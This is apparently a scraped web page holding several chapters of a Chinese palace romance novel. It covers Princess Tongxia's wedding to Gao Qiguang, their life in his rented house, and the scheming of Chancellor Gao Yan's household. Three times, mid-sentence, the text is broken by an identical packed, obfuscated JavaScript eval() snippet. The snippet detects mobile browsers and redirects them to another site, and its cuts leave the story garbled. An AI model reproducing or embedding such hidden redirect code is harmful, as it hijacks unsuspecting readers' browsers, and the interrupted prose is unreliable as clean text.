其实同霞从未有过这般滞涩难言之时,此事也已无解,缠绕半晌,她终是勉力抬起了头,见他一双眼睛被泪光逼得通红,心中不忍也达到了极端: “你没有对不起我!你虽没有说出来,我也是知道的。可你难道想不到,从蓬莱赐婚你长兄起,你我之间就再无可能了?不论你怎样想,我们终究无缘。” 他终于落下泪来,但不全然是伤怀,缓而问道:“臣正是后悔,从不敢对公主言明真心。但如今,臣还有一点痴心未死,想问公主,若余事勿论,陛下赐婚,公主可愿做臣的妻子?” “愿意的。”同霞没有骗他,也没有感到轻松—— 高惑,我从前接近你,其实并没有什么好心。 她在心底默道。 * 高黛回到后舍,直至天色暗下才敢出来探看。可不曾想,公主确已离去,但竟正好瞧见高齐光从外头归家,奇怪问道: “你这是去送公主了?” 他点点头,横穿小院走向自己书房,进门前忽停下问道:“冯氏如何?” 高黛看他面色不好,走去说道:“她听说了,问我公主如何,我只说来日自能相见。不过,你是怎么了?公主为她责怪你了?” 虽如此问,她又细想公主来时的面貌,倒是既温和又乖巧,全不像一个天家公主。 齐光若有所思,半晌只道了句:“她若再问,你也不必理会。”便抬脚进房,合紧了房门。 房中更比外头昏暗,但他只静坐窗下,并不点灯。不知多久,他才动了动,自袖袋中取出了依旧随身的,安喜公主的承露囊,然后捻了一块糖含入口中。 * 那日后,同霞再也没有出宫,也再也没见过高齐光,行动规矩得就和其他大婚前的公主一样。但众人口中关于她的议论,仍一如既往,没有一个字是赞她好的。 比如:“把下嫁寒士说成为国尽忠,竟像是和亲般大义凛然,不过就为贪图那人的美貌,终究是个没有受过规训的野蛮公主。若生在黎庶之家,何愁做不出文君夜奔的丑事来?” 又如:“素日眼高于顶,还以为她的驸马必不出甲族勋贵,谁知竟看上了一个穷书生!陛下竟也由她,封她一千三百户,真是可恨!” 凡此种种,到了同霞耳中,只嫌他们一无新意,不过一笑置之。而令她真正在意的,是皇帝忽然定了礼部尚书裴昂为她持节主婚——她原以为,婚使必定只能是高琰。 虽无成文的制度,但本朝涉及皇家婚事,循例都是朝首之臣或是勋贵之尊担任婚使,可裴昂仕宦二十余年,到去岁才从侍郎的副位转正,与高琰实不堪比肩。 后来究其缘故,她听到了一种可靠亦可堪玩味的说法:裴昂同驸马高齐光一样,皆出身寒素,早年甚至饱受饥馑,而高齐光登科的永贞二十年,知贡举的官员正是裴昂。 是以,裴昂既是高齐光的同道中人,亦是他的座师。 皇帝不会不了解此等前因,也做得过于明显了些。难道皇帝自将高齐光任为许王师后,于高琰的戏弄还没有告止?或者,这又是一个新的开始? 如此深有意趣之事,同霞直到大婚当日,对镜梳妆之时,仍不觉心中暗忖,以至稚柳连唤了她四五次,才见她转神: “要去殿上了么?” 稚柳蹙眉一笑,双手呈上了一方已经打开的长盒:“妾才在殿侧廊角上遇见了五公主,她说姑姑大婚,想赠礼为贺。妾见她却是只身而来,说完便走了,大约不会去观礼。” 五公主萧婵便是今上第五女,年才十二,生母孙氏原是东宫宫人,生下女儿便撒手而去。萧婵也并不受宠,至今无封,偏居在公主院西角,甚少见人,性情亦怯懦。 “她倒不怕我?”同霞只觉稀奇,拿起盒中一支翠玉凤簪,过眼便知品质寻常,但想必已是那孩子最好的东西了,“但她,倒是像我。”一笑,将玉簪交给稚柳:“我要戴上。” 她头上早已戴上一顶缀满珠玉的花冠,似乎再无处簪戴,也不必区区素玉簪来共襄盛举,但稚柳目光缓寻,仍于她冠后髻尾处替她插戴了上去。 稚柳比任何人都明白她话中之意:“五公主像长公主,但从今后,长公主便与她再无相像之处了。” 这是同霞晋封以来,第一回听稚柳如此称她,淡淡一笑,与她四目同时转向铜镜中,“是。” 有司仪女官自殿外进来,报道吉时已至,恭请长公主出降。同霞于是起身,再一次望向镜中,锦裳如霞,珠冠辉耀,那张嵌于其中的面容,反倒成了可有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655837|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无的点缀。 十五岁的安喜长公主昂首走向殿外,腰间悬垂的佩绶随她的步伐发出铿锵之声。玉庭银榜下,雕轩丹殿间,她矜持的威仪,优雅的礼度,终将那些不齿之声一时泯绝。 满殿华冠,一日绮宴,都不曾在她的心上。 * 云归碧海,微月高悬,此时合欢宫内早已人声悄然,唯是红烛高照,玉人相对。虽非初见,但彼此的目光都不约而同地布满了端量。 “你在想什么?”终是同霞心中未忍,展颜一笑,看向他肩上垂落的一束青丝,才因结发之礼而被剪去了一截,“我们已经是夫妻了,你就没有要同我说的?” 她两颊天生一对笑涡,微微动唇便清晰可见,今天却在其上贴了金钿,虽荧荧生光,却十分多余。 “臣是在想,公主原来是什么样子呢?”他将身挪近,直至抬手可以触及她的脸,然后摘下了那两枚钿花。 同霞不由一愣,疑心他话中有话,心底却先涌出一阵慌张,“什么意思?我原来就是这样。” 齐光一笑,将花钿摊在掌中向她呈去:“臣原先见公主时,可没有这个。” 原来是指她的妆饰,可大婚之日难不成还素面朝天的?还是话中有话!同霞不禁道:“你是嫌我貌丑,不配妆金饰玉?” “臣……”齐光无奈一噎,攒起眉头,将花钿放在一旁案上,长长地舒了口气,“自公主私访臣宅,也有两月。两月未见,公主都做了什么?又有无想要对臣说的?” 这想必才是他真正想说的,却先拿花钿托词,同霞感到戏弄,语带羞恼道:“大婚礼仪繁琐,皇后安排了许多章程,我除了日日受教,还能做什么?礼部却没遣人教你么?” 齐光颇认真地点头:“教了,但他们只教了宫规礼法,却没有教臣——公主的心事。”又道:“公主也说与臣已是夫妻,那臣想知道公主心中……” 他越发放慢吐字,似刻意吊人胃口,而她也果然不堪挑动,放声打断道:“高齐光,你究竟想干什么?” 她气得杏目圆睁,横起的两道疏眉也顿似加了重墨,但却是缀在那样一张青春烂漫的面孔上,施朱点绛既徒然累赘,威严嗔怒也实不般配。齐光细细看来,只觉无限可爱,皱眉忍笑,道: “臣知错,可臣是真的想要明白公主的心,才可在今后余生,与公主成为名副其实的夫妻。” 同霞恼怒的面容尚不及松弛,又被他这诚挚的样子所惊,想起他们先前总共见过四次,但哪怕是第四次,他也没有这般“主动”——她只能想到这个词。 “我对你,也是当真了的。”她无意深究他奇怪的变化,只似泄气地一叹,“你说吧,想知道什么?” 齐光正了正身子,终于道:“若无臣出现,公主原本属意的是高二公子么?是因为高家不可能再指婚一位公主,公主才看上臣的?公主心中之人到底是谁?” 一连三问,说得毫无停顿,但同霞竟并不惊讶,她一时之感只是惶然:“高惑找了你?!”因为高家不能两娶公主的言论,正是她最后一次见高惑时说过的。 他竟是摇头:“是臣亲眼看到,亲耳听到。” 原来就是她私访他的那日,他虽嘴上不言,却在她走后默默护送,一直目送她踏入宫门。而他离开时,因想回避相熟的同僚,正好便择了东南角门穿行。 一种沉重的无力感席卷了同霞的四肢百骸:他早就做好了裹胁她的准备,而她也早就不知觉地输了一回——她的重重调度,般般心计,竟已有两次失算于他。 滑稽,可还远不至于让她认输。 “我的心中只有驸马。”她扬起面庞,笑着说道。 8. 拂衣同调 罗帐中沉静了半晌,直至一对红烛齐齐蹦出灯花,“噼啪”一声,如断弦裂帛,惊破人心。 “所以,驸马还有何不满?” 同霞轻叹一笑,撩帐下榻,拔出头上一支细簪将左右烛芯依次剔过,然后就隔着纱帐注目那人。他亦早已随来目光,只是隔云绕雾,胸中究竟是丘壑,还是块垒,从面上是瞧不出的。 “臣原无不满。”他忽然也移身下榻,却向她躬身行礼。白色绫锦的里袍坠如泄川,即使满宫华彩,也未能染上分毫,他恭敬得有些凉薄,“臣相信公主说的话。” 同霞觉得他未免做作,反问道:“可我又对你了解几分呢?你的家状履历就是你的全部么?” 她的声音并不高,但他却脸色一凝:“臣……” 同霞失笑,撇下他返回榻上,擦肩时又被拽住了手臂,“怎么?又要说‘臣知错’?”回首对上他一张惭颜。 他摇头:“臣有一表字,叫玄度,公主可有小字?” “没有,我就叫同霞。”同霞觉得有些不妙,怎么说个名字,心里的气就没了,“你还有什么,直说便是。” 两人又回到相对而坐的样子,而双膝相抵,靠得更近。 “臣登科后便赴任兖州,因兖州正是高氏故园,五年里臣见过高相两次,都是他回乡祭祖之时。他在祖宅宴请州中官吏,或聚才学办诗会,或问庶政察民情,我便因此才得到他的青眼。” 这果然是同霞不曾了解的,心中不再有那些小情小故,着意点了点头:“陛下赐婚那时也试探你州政庶务,你便是对答如流。那你一定很感激高琰吧?想报答他,但断没想到会生出许王的事,还有我。” 齐光不假思索地颔首:“高相是臣的伯乐,但公主又何尝不是?” “嗯?”她一时没理解。 他含笑道:“公主说过,会保护臣的。” 同霞自然没有忘记自己说过的话,抿了抿嘴,“哦,这个啊,你放心就是了。”又见他目光灼灼,似在等她提问,但忽然倒不知问什么了,“很晚了吧,也好睡了。” 他闻言一抬眉,却将嘴角悄然压了下去,神色一凝。同霞见状,这才意识到自己失了口,整张面孔登时涨红。然则,不知哪里来的一股心气,又促动她横生好奇: “你……你又不是第一次了,还,不会么?” 齐光脖颈一僵,脸上顿时青红白紫,各色乱跳,憋了半晌:“难道……难道公主,于此,轻车熟路?” 不知是该信他,还是笑他,同霞也混沌了,但嘴巴仍比脑子快:“不,不熟,只是宫中女史教过了。” * 方才还烧得平齐的一对红烛,剔过烛芯后,右边一支竟快了不少。等帐中新人终于千难万难地并肩平躺下,烛火早已旋落,只剩了一支残照。 许正因四周昏暗下来,同霞才敢偷偷呼了口气,稍拧过脑袋,以不动声色的余光探看枕侧,却不意又撞上了那人早已偏转的面孔: “公主怕么?” 他声音温柔,气息温软,同霞不由咬唇,心中惊跳,却是闷闷的,“不怕。” 他顿了顿,忽而侧转了身子:“公主想吃糖吗?” “这时候吃什么糖?”她诧异,但下一瞬,唇边已递来了一块糖,垂目一看,他修长的手指捻着糖,腕上正缠着自己的承露囊,“你今天还随身带着?” 他只一笑:“公主今日穿着不便携带,但臣怕公主想吃。” 这确是实情,虽从他口中听来略显怪异,一时也没忍住,松口含糖,到后牙上一咬,咯嘣作响,“你是怎样存放?这都多久了,倒还硬脆,一点也不软呢。” 他倒是舒了口气,又取出一块糖缓缓递来,方道:“由春至夏,时气日暖,臣又是随身携带,自然放不了多久就融了,所以,这是臣昨日才新买的。” 同霞还记得自己当初放的是乳酥糖,现在口中的也是乳酥糖,他若不说,还真没吃出差别——他原来也有这般用心之处。 “公主不吃了?”他问道。 同霞却张不开嘴了,脸上越发滚烫,正欲翻身回避,却见他自己将糖吃了,也一咬,脆响一声: “公主,臣这样吃,可对么?” 他话音未完,同霞只觉腰侧一紧,是他的手攀了过来,而慌促间抬眼,他竟已支身迫近,微凉的鼻尖就抵在她的颊上: “臣还有一事尚未禀告,公主原先的糖并非融于承露囊中,而是融在臣口中了。” 同霞觉得自己快要哭了,却又不是世间一切令人悲苦伤怀的情绪,“你不是,不喜食甜么?”她嘴唇打颤得自己都没听清,也终究泪随声出,滑过眼角,坠在耳上。 齐光却是洞若观火,将放在她腰间的手移上她的耳垂,轻抚擦拭,“不要哭,臣舍不得。”皱眉一笑,忽然于她眼窝俯啜一吻,“臣已改了口味,今后总是与公主食同味,情同心的。” 同霞不再说话,紧绷的心绪霎时一松,缓缓地闭上了双眼,摆放身侧的双手亦缓缓地攀上了他的脊背。 * 大婚次日,长公主与驸马于甘露殿前拜别帝后,携手离宫。车马仪卫前后绵延,十分隆重,但皇帝赐予的公主府却实在不远。 与皇城仅一街之隔的太平坊正街上,原是前代一个老亲王府,又兼并了相邻两座宅邸,如今修缮一新,成了本坊最大的豪宅。连同是天子下旨新修的,亦是与之相连的许王府,也不过是其一半大。 然而,当驸马揽扶公主,在沿街人众的艳羡声中踏入新宅后,公主却反将他一力拉走,另自后门而出,乘上了一驾简素的轻车。他并没听说公主有何安排,几番询问也未得解答,直至发觉车驾一路向南,渐近昭行坊,才一恍然: “公主为何要去臣的旧宅?” 同霞抿唇一笑,却先将头上的钗环卸了大半,只留了一支翠玉凤簪,才道:“我当日在殿上不是说说而已,我嫁你,礼同士庶,妇应从夫。”展了展衣袖,又道:“这叫拂衣同调。” 齐光不可谓不惊喜,只是实在意外:“可宅子实在破旧,能用上的屋舍不过五六间,也已住了五个人,若再加上公主的侍女护从,是安置不下的。况且,这宅舍也只是臣租赁来的。” 他家中除了一妹一妾,还有两个女婢,一个仆从,包括他是赁屋而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655838|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居,都是同霞早已弄清的,只一笑道: “你初到京中不肯接受高琰的接济,万难才凑足银钱落脚安家,如今还想叫你的家人都留居,我都知道。我不嫌弃,而且只会带两个人,一个稚柳你已认识,还有便是——” 齐光随她撩帘看去,却就是指驭车的小奴。他方才上车时也匆匆瞧过一面,年纪与他相仿,身形倒是精壮。 “他叫李固,原是西苑马坊牧尉李丛之子,因父亲病故,自小就在马坊养马,性情机警,有些身手,也识得文字,我和七郎骑马都是他教的。如今我带他出来,以后看家护院,或是做你的庶仆都好。” 齐光身边倒也已有这样一个侍从,但他一时再不忍扫兴,点了点头:“好,家中一切都听公主安排。” 同霞会心一笑,正欲询问李固多久能到,马车巧便停了。夫妻于是相携下车,方入巷口,已见早去半日的稚柳迎了出来,再至院中,高黛冯氏等一众家人也是肃立迎候。 同霞已见过高黛,列在后头的小仆也是那回见过,至于旁边二婢倒也面貌恭和,便唯有依靠高黛站着的冯氏,可堪同霞细细打量。 她怀胎五月的身子已颇显臃肿,但一张面孔也确有几分秀色,只是虽则垂目,又掩不住暗暗抬头之势,似乎也对她很感兴趣。她主动走上前去,搀起她一双手,道: “你可给孩子取名了?” 齐光自进门见状便未发一语,目光只与高黛稍一相视,此刻望着同霞背影,垂在身侧的手已不觉紧紧攥起。 冯氏终是抬起眼帘,回道:“贞儿不敢擅自为孩儿取名,总是要家君来定才是。” 她虽情状怯懦,却敢当着公主以名自称,说到“家君”二字,眼神竟又敢飘向高齐光。同霞一时都心领神会,含笑不提,也转看身后的高齐光,“叫他们都歇歇吧,左右无事。” “好。”他毫未迟延,两步跨来,也未管旁人,直接将她牵到身边,送进了院中正房。 稚柳早到便是遵命先将这家里整理了一番,因而虽见屋内逼仄,帘帐器物倒都是干净的。同霞便随意拣了木凳坐下,半推了窗扇,伏在台上吹风。 尚未到暑热之时,自窗底钻进的风还挟带几分凉爽,只是静了半晌,倒不闻那人动静,回头一见,他却仍站在门下,面色有些低沉,“你怎么了?” 他这才上前几步,嘴唇几度张合,才为难道:“公主生气了么?” 同霞爽快摇头:“你早就说过她的事了,也是我自己要住在这里的,我问问她,有什么好生气的。”笑了笑,又道: “你不会以为,我是在报仇吧?为你昨夜追问高惑的事。” 他怔住,眉心渐渐攒起一个结,“是臣失言。” 同霞抿了抿唇,轻一点头,正欲转回窗台,倒见他走到了自己膝前,蹲了下来,仰面问道: “公主真的想好了么?在此陋室草堂,要与臣过怎样的日子?” 他一副悲天悯人的神情,像是试探,又是提醒,同霞心中微觉不适,道:“自是你过怎样的日子,我便过怎样的日子。” 他却皱眉一笑,又注目她半晌,言尽于此。 9. 微风帘动 安喜长公主大婚后未有几日,许国公高琰便忽在宫中当班之际病倒了。皇帝亲指太医令前往高府看疗,报说是忧劳伤肺,耗损了元气,颇不算轻症。 高琰因而连日都卧病在家,除了皇帝遣使,或是儿女探望,余者皆谢避不见。然则此日午后,门仆竟又前来通禀访客,他正欲斥责,却又听他急告道: “家翁,这回来的是高驸马!” 高琰一听,却是立马改了颜色,抚须思忖了片时,到底是披衣起身,将人传到了内室。 高齐光一身常服穿戴,态度也与从前并无二致。高琰含笑接见,也如前受了他的礼,等他告坐定了,方说道: “燕尔新婚,如何不多陪陪公主?承陛下天恩,老夫已无大碍。” “老师取笑学生了。”高齐光含愧一笑,垂了垂眼,又道:“学生原该早来,只是一则听闻老师交代谢客,二则——朝中也有些议论,叫学生颇是为难,故而逡巡至今。” 高琰面上的笑意微微一凝,问道:“你如今已是长公主的驸马,老夫的病也与你无关,谁还敢胡言不成?” 高齐光轻叹一声,将身躯前倾,才低声禀道:“那学生便直言了。此事其实在陛下任学生为许王师时便已有端倪,他们都说老师本就为此不平,而‘许王’的封号似乎又是针对老师的“许国公”含沙射影,后来陛下还叫礼部裴尚书为公主主婚——所以老师这场病是郁结在心,怒而攻心。” 说到此处,只见高琰面色一白,他顿了顿,才又继续:“这是暗指老师怨怼陛下,如何了得?!学生纵有心辩白,也只怕落了他们的口实,更加连累老师。” 话落半晌,高琰都不曾开口,只将一双目光对准面前这个仪表不凡的后生,端量怀想,回忆起在兖州初见他的情景: 青衫小吏,只堪末座,身躯面貌却如鹤立鸡群,叫人一眼便望见了。无论是随口闲谈,或是对答公务,皆是侃侃从容,风度出众。若高家还有个女儿,如今又怎会叫他做了皇帝的女婿? “老师可是身体不适?”久不见高琰反应,齐光不免关切。 高琰这才回神,摇头一笑:“你虽叫我一声老师,但究竟裴尚书才是你的座师,陛下命他主婚,想必也是有此用意。况且当年若无他慧眼识才,你不能榜上有名,也就没有如今种种了。” 此时此地,此情此景,高琰这是近乎直白的试探,他不由怔住,片刻后忽而离座跪倒: “老师所言是实情,学生不能昧心不认,学生到京后也确与裴尚书有过数次照面。然则,学生心迹坦荡,亦凡事分明。于裴尚书,学生是感激,于老师,学生却是敬重。” 高琰并不料他如此大动作,忙将他搀起,执手问道:“你这是做什么?老夫若不与你推心置腹,如何还叫你进来?” 高齐光点点头,松了口气,仍不起身:“学生是想说,陛下登基未久,而国本未立,难免朝中有所猜测。但人言虽可畏,陛下圣明烛照,总不至为此不明之事,勾销了老师两朝辛劳。学生愚见,老师心中或有委屈,也是常情,正才可见老师断无犯上之心。只待老师痊愈,亲自入宫谢恩,谣言便可不攻自破。” 他说得万般动情,眼眶都微微发红,高琰心中再有狐疑,至此也都消无,再次扶他返坐,安慰道: “老夫只以为你年轻,又初入朝,许多事不便言明。可不曾想,你竟能看得如此通透,也实在深解老夫用心,倒是我委屈了你啊!” 齐光只惭愧摇头:“学生也没想到才入朝便如此多事。但公主看中学生,说到底也是老师带给学生的福分,学生绝不会忘本。以这段时日所见,公主虽亲近许王,却只论亲情,并不理会朝事,她年岁也轻,行事还颇像个孩子。” 高琰从前是常听皇后抱怨安喜公主难以教养的,这回她自求婚事,也闹出了许多讥议,高琰认可齐光这话,道: “公主是顽皮了些,但既下嫁于你,一片深情,你也可稍加进言规劝。如此,陛下知晓,也会对你满意的。” “是,学生谨记。” * 高齐光服侍了高琰进药,不久便告辞了出来。只是才从门下转身,抬头就看见了立在阶下的高惑。四目交视,从前如何亦兄亦友,现今如何参商断绝,彼此都已心知肚明。 “二公子。”不论如何,齐光还是略作了一礼,只是擦身之际,忽见他蔑笑一声: “高驸马今日特来,只怕并不专为探望家父吧?” 齐光一顿亦一笑:“二公子久候此地,想也听得清楚,何必多此一问。” 高惑不禁结眉,目露薄怒,道:“你最好说到做到!公主纯善无拘,你与父亲不论筹谋何事,都不要让公主为难。” 齐光更作一笑,又回首瞧了眼门下,道:“我近日只在许王府为许王授课,也多时不见二公子了,二公子倒是清减不少。” 他抛下这似是两不相干的话便阔步离去。高惑半疑半迷,又无从发作,悻悻呆了半晌,却忽闻有人唤他: “二郎。” 他定睛一看,忙躬身施礼:“母亲,儿正要去看父亲。”来者却是高琰的夫人李莹。 李莹虽不是高惑生母,但向来处事公正,见他面色不佳,不免柔声道:“你父亲已经好了许多,你不必过忧,还该多加自珍啊。” 高惑自也知晓嫡母贤德,含笑应下,母子一道进了高琰室中。高琰却还坐在榻边凝神,待李氏唤了两声方抬起眼来: “哦,你们怎么一起来了?” 李氏笑笑,从案上端了茶交给高惑,示意他上前侍奉,方缓缓道:“正巧遇上了。”见高琰接茶饮了一口,又亲自去接下,目光转回高惑面上,又道: “二郎,此前你父亲因为高驸马责怪你,都是一时之气,你不要再伤心了。安喜长公主既嫁了人,你也不必再有留恋。京中名门闺秀众多,母亲定会为你寻个好的。” 李氏骤然转提前事,父子皆是一惊。高惑自然不知所言,高琰惊诧之余,虽似想反问,眼睛划过高惑,又生生忍了下去,重重地呼了几口气,拂袖遣了高惑出去。 然而,李氏又将高惑叫住,柔声叮嘱道:“二郎,别总一心读书,你阿娘的忌日快到了,记得要去祠堂给她上柱香。” 生母于氏故去时,高惑不过五岁,尚不晓事。渐渐长大才听闻,生母虽是父亲自己挑中的妾室,却也不算受宠。等到死后,更成了家中禁忌一般,再无人记起。 唯独是李氏,每年都会亲自提醒他生母忌日,当日还会亲去祭拜。然而今日的情形,当着父亲的面提起,却是从未有过的。他实在难以揣测,愣了半晌只尴尬道: “是,儿先告退。” 李莹却一直目送高惑出门,直至听见高琰在身后冷冷发问道:“你到底想干什么?” 她还是一味平静,缓慢转身,道:“妾就是提醒二郎尽孝,夫君怎么不解?”见高琰因病稍沉的脸上愠色渐浓,一笑又道: “于氏亡故也有十几年了,二郎越发长得像她,眉清目秀,身姿颀长。夫君看着二郎的脸,难道竟一丝也想不起于氏来?又或者,想到的不是于氏,而是显元十九年,赠你白玉辟雍砚的那人?” 高琰忍耐至此,身躯早已压不住震颤,待听见“白玉辟雍砚”几字,一股气终于突破胸腔,恨极骂道:“你知道什么?!” 此话显然不是问她,李氏也更作从容,目若观赏,听他继续发作:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655839|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显元十九年,你我还不是夫妻,我的事轮不到你来置喙!但你既然将话讲到此地,我也警告你,你若不是疯了,就该仔仔细细守住你这张嘴,否则,我亦可以叫你去陪于氏!” “哦?”李莹仍毫未经心,轻一摇头,“高琰,我从嫁给你那日起便知,你我不过是逢场作戏的夫妻,守着嘴也好,守着人也罢,终不过是为守住你高家的世代荣华。” 这话只叫高琰冷笑一声:“高家的荣华难道不是你的荣华?你们李家如今还有何人可用?”又道: “你生的儿女,我也都叫他们适配了皇家,将来之事更还不止,你究竟又有什么不满意?” 李莹移步直至他身前,盯着他一双尚且血丝未退的眼睛,又抬手替他掸了掸肩上的浮尘,说道: “可肃王终究不是皇后肚子里出来的。慈儿前时回来与我说起,肃王近来浮躁,因为陛下越发看重许王,倘若许王为太子,你们高家的荣华不就到头了?” 高琰深吸了口气,忽然恣意一笑:“我高家想立的太子,没有人能左右。你连显元十九年的事都听说了,怎么还不知永贞七年之事?” 李莹终于显露一丝惊愕,但很快便不动声色地掩去了。 * 昭行坊的宅院虽小,周遭却十分安静,又有稚柳处处打理,同霞住了半月来,并无一丝不惯。宅内人口也少,镇日更无事端,不过还是那位冯氏,越发成了消遣。 “妾这些天帮衬高娘子家务才知,原来侍奉冯氏的引绿、舒朱是自小跟随高娘子的,冯氏当年家贫无计,是孤身投靠。这样的出身,竟还一副主人嘴脸。高娘子指教她如何与公主说话,她只是一顿白眼,挺着肚子就走了。又私下说,以为要跟着驸马去公主府享福,公主倒乐意住这样的破房子。” 从前在宫里,稚柳是第一谨言慎行的人,如今却替她传这些不堪之言,同霞只觉好笑,说道: “宫里也多有婢女是家贫无计才入宫当差,若是冯氏这样的人选了进去,只怕没有半日便叫打死了。” 稚柳自是认同,又道:“所以妾越发想不通,她这样粗鄙,驸马的母亲竟还当做遗命托付,倒不怕坏了自己儿子的名声?高冯两家既是这般至亲,怎的教养却差得如此之远?” 同霞却不再笑,拢了拢身上薄衫,道:“天下奇事至多,有的是我们没见过的官司。” 稚柳只解得字面之意,其下内情却不好妄测了。又静静陪了一时,见同霞掩唇打了个哈欠,不免劝道:“公主睡睡吧?左右驸马还不知几时回来。” “臣已经回来了。” 高齐光要去高府探病是昨日就与同霞说明的,忽见他站在门下,时辰却还早,她倒好奇,示意稚柳退下,问道:“没见到人么?” 齐光摇头一笑,自去更换了汗湿的外衣才近前说道:“见了,高相的病已好多了,所以臣就及早回来了。” 同霞点点头,见他额上还挂着汗,顺手提了帕子为他擦拭,随口笑道:“他若再不好,陛下恐怕也要相信那些议论了。” “公主也知道关于高相的议论?”他忽一抬眉。 同霞的手正巧擦到他眉尾处,一顿,道:“这昭行坊中恐怕说得还少,你只往城西去听一听,都不必到宫里,打量什么的没有?这是繁京城,拨一拨水都能掀起浪来。” 他一笑,又问:“公主何时也出门了?” 同霞撤下手来,转身上榻,缓而方道:“没有,是稚柳陪阿黛姐姐出门听了告诉我的。天热了,我懒得去逛。” 齐光又在原地站了站,环顾房中,拿过案上一柄团扇才跟过去:“臣为公主打扇。” 同霞面朝里侧躺下,只觉微风徐来,不再说话。 10.心切心违 用以盛冰的铜鉴,随着鉴中原本耸立的雪山渐渐消融,外壁上也寒雨滴沥。湿润幽凉的气息随着一盏小小扇车的转动,未有片刻便教狭小的内室隔绝了中夏的炎炎燥热。 “此地不大,公主如此用冰是要伤身的。”稚柳手捧装了新凿冰块的牙盘走到同霞跟前,一眼就看见了她手腕上突起的鸡皮,心生忧切。 同霞只摇头,接了冰盘放在榻边小案上,便钻进了早已备好的毛织厚毯里,靠在枕上才道:“我不冷,别的屋里都送去了么?” 稚柳只好答道:“都送去了,荀奉、引绿、舒朱的房里也有。” “那李固呢?你总不至于忘了他吧?” 同霞忽而偏头一笑,稚柳一怔,却登时红了脸颊,“没,没有。” 同霞又盯了她半晌,从毯中伸出一手拉住了她:“你也二十二了,我把李固从西苑带出来,不就是这个意思么?” “妾没有想过别的。”稚柳恢复顺从的模样,将她的手塞回了毯下,轻轻一叹,“公主提及妾的年岁,倒叫妾想起初见公主时,公主才六岁,没有封号,也没有名字,又瘦又弱,开口就是问妾要糖吃,可周翁交代了不许多给,免得夜咳不止……公主不易,妾只想永远陪着公主,余事都不重要。” 同霞也随她回忆着入了神,缓而嘴角却是衔起了一丝冷笑:“我不喜欢陛下给我取的名字,赤云为霞,艳丽绚烂,可我只是暗室里的孤雏,岂是与霞同辉?我也不喜欢他给我的邑号,我有何安,又有何喜?反而我倒是很喜欢‘十五’,每听人叫一次都像是提醒,我是先帝之女——萧济,可是位万世明君呢。” 稚柳每见她心切大事,总会劝她莫要自苦,但如今只静待她话落,低声道:“李固才已给妾回话了,事情已妥,公主接下来只需静观其变便可。” 同霞满意地点了点头,眼睛瞥见一旁的冰盘,原本堆叠的冰块已塌了下来,“去换换吧。” 稚柳也不再劝,却还不及端起盘底,忽听门外声音传来:“公主,小女高黛求见。” 虽然宅院只有巴掌大,这位倒算是稀客,就算稚柳与她每日来往,也未见她主动贴近。同霞于是犹疑了片刻才叫稚柳去迎,见她走近,手里却是端着一个白瓷小盏,一面起身下榻,先笑问道: “姐姐找我什么事?也说了不必拘礼,直接叫我就是。” 高黛轻笑摇头,仍显拘谨,欠身施礼方回道:“小女长到这么大,从未在夏天见过冰,是以特来拜谢公主赐恩。又想公主是第一次在这样的屋子里度夏,连日又未见出门,怕是有些苦夏,便做了一碗清热益气的药膳想奉与公主。” 不想她素日既要周全家事,又要忍受冯氏的刁难,竟还能留心自己的起居,同霞不禁心中暗叹,有些兴奋,也越发对她生出好感,不等她将瓷盏呈送,自去一手接下: “我听稚柳说了,你不但医术甚佳,厨艺也绝好,我都还没尝过呢!这是什么——” 高黛见她欢喜,也大松了口气,可正要与她解说,只见她才一提起盏盖,便连汤带盏地摔在了地上,人亦连连急退跌倒在地。她慌得手脚一跳,忙要去搀扶,又被稚柳一把推开,险些绊在门槛上。 “公主!”稚柳原只一旁静候,见同霞如此反应,先也不察缘故,此刻扑去,一看地上汤食才觉大事不好。将人极力扶起,已见她面色惨白,满脸虚汗,不及多问,又作呕不止,将一日吃的东西都吐了出来。 屋内骤生变故,高黛扶门站着,渐由初始的惊惧变得几分狐疑:她端来的汤膳只是寻常的四君鱼羹,以党参、白术、茯苓、甘草四味药材熬煮鱼肉,夏日进食,最是去湿健脾。 这纵然不如宫中御膳,也是她精心烹调的,鱼肉只取了鱼肚,还细细地挑过刺,不必咀嚼便可入喉。可公主还不及尝上一口就打翻在地,又不像是故意,实在令人费解。 “稚柳姐姐,公主定是病了,让小女看看可好?”高黛忖度半晌,仍先以医者之心看待,不闻稚柳回应,又试问道:“那叫人去请宫里的医官?” 稚柳这才仓促抛来一句:“高娘子自去忙吧,不必!” 高黛自然不好违拗,但走出几步又想公主带来的侍女唯有稚柳一个,她此刻只顾得上人,地上还有一片狼藉,便终究去端了水来,悄悄地收拾了干净。 * 